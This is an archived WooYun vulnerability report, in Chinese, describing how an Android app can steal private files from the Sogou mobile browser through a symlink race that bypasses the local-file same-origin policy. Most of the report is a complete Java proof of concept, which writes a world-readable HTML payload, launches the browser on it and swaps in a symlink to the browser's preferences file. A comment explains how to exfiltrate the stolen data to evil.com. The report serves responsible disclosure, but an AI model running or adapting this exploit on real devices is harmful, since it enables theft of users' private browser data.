乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
乌云 Drops 文章在线浏览--------http://drop.zone.ci/
2013-12-27: 细节已通知厂商并且等待厂商处理中 2013-12-27: 厂商已经确认,细节仅向厂商公开 2013-12-30: 细节向第三方安全合作伙伴开放 2014-02-20: 细节向核心白帽子及相关领域专家公开 2014-03-02: 细节向普通白帽子公开 2014-03-12: 细节向实习白帽子公开 2014-03-27: 细节向公众公开
绕过本地文件同源性策略,窃取浏览器中任意私有文件内容(此问题应该不限于搜狗浏览器,其他浏览器同样可能存在)。
通过符号链接绕过文件同源性策略,窃取浏览器中任意私有文件内容,详见漏洞证明代码。
package com.example.x3xtxt.demo.browsers;import java.io.FileOutputStream;import android.net.Uri;import android.os.Bundle;import android.app.Activity;import android.content.ComponentName;import android.content.Context;import android.content.Intent;import android.view.Menu;import android.widget.Toast;public class MainActivity extends Activity { @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); /* * 这是想要窃取的目标文件地址,作为演示,以sogou.mobile.explorer_preferences.xml为例 * 实际攻击中更关注的是存放敏感信息的文件,比如databases目录下的db文件. */ String sensitive_file_name = "/data/data/sogou.mobile.explorer/shared_prefs/sogou.mobile.explorer_preferences.xml"; SoGouBrowser_ReadAnyFilePoC(sensitive_file_name); } @Override public boolean onCreateOptionsMenu(Menu menu) { // Inflate the menu; this adds items to the action bar if it is present. getMenuInflater().inflate(R.menu.main, menu); return true; } public void SoGouBrowser_ReadAnyFilePoC(String targetfile){ try{ // 第一步,将窃取数据的shellpoc.html写入本地,确保任意App都有权访问shellpoc.html。 String shell_poc = "/data/data/"+getApplicationContext().getPackageName()+"/files/shellpoc.html"; write_payload_file(); cmdexec(new String[] {"/system/bin/chmod", "-R", "777", shell_poc}); // 第二步,调用sogou.mobile.explorer.BrowserActivity组件打开shellpoc.html文件,载入解析执行其中的JavaScript脚本, // JavaScript脚本中的函数延迟执行,之所以延迟执行是为了配合符号链接绕过文件同源性策略。 String pkgName = "sogou.mobile.explorer"; String activityName = "sogou.mobile.explorer.BrowserActivity"; String url = "file://"+shell_poc; Intent intent = new Intent(); intent.setAction("android.intent.action.VIEW"); intent.setComponent(new ComponentName(pkgName, activityName)); intent.setData(Uri.parse(url)); startActivity(intent); Thread.sleep(2000); // 第三步,当shellpoc.html被载入解析执行之后,删除shellpoc.html文件, // 然后创建目标私有文件("/data/data/sogou.mobile.explorer/shared_prefs/sogou.mobile.explorer_preferences.xml")的符号链接, // 符号链接名称和shellpoc.html文件名相同,从而绕过文件同源性策略,读取私有文件的数据。 cmdexec(new String[] {"/system/bin/rm", shell_poc}); cmdexec(new String[] {"/system/bin/ln", "-s", targetfile, shell_poc}); cmdexec(new String[] {"/system/bin/chmod", "-R", "777", shell_poc}); Thread.sleep(5000); cmdexec(new String[] {"/system/bin/rm", shell_poc}); }catch(Exception e){ debugInfo(e.getMessage()); } } @SuppressWarnings("deprecation") public void write_payload_file(){ String payloadStr = "function getContent(){ \n" +" var url = location.href; \n" +" var xmlhttp; \n" +" if(window.XMLHttpRequest){ \n" +" xmlhttp=new XMLHttpRequest(); \n" +" }else{ \n" +" xmlhttp=new ActiveXObject(\"Microsoft.XMLHTTP\"); \n" +" } \n" +" \n" + " xmlhttp.onreadystatechange=function() \n" +" { \n" +" if (xmlhttp.readyState==4) \n" +" { \n" +// 实际的攻击过程中只要将alert(xmlhttp.responseText)替换为// document.location.href = 'http://evil.com/receive.php?data'+encodeURIComponent(xmlhttp.responseText)// 即可。" alert(xmlhttp.responseText); \n" + " } \n" +" } \n" +" xmlhttp.open(\"GET\",url,true); \n" +" xmlhttp.send(); \n" +"} \n" +" \n" + "setTimeout(getContent,4000); \n"; String htmlStr = "<html> \n" + "<head><title>Steal Sensitive Information PoC</title></head> \n" + "<body> \n" + " <script type=\"text/javascript\"> \n" + payloadStr + " </script> \n" + "</body> \n" + "</html>"; try{ FileOutputStream fOut = openFileOutput("shellpoc.html", Context.MODE_WORLD_READABLE); fOut.write(htmlStr.getBytes()); fOut.close(); }catch(Exception e){ debugInfo(e.getMessage()); } } public void cmdexec(String[] cmd){ try{ Runtime.getRuntime().exec(cmd); }catch(Exception e){ debugInfo(e.getMessage()); } } public void debugInfo(String msg){ Toast.makeText(getApplicationContext(), msg, Toast.LENGTH_LONG).show(); }}
关于修复,请RD自行自行选择限制策略。
危害等级:中
漏洞Rank:10
确认时间:2013-12-27 16:34
收到,谢谢支持
暂无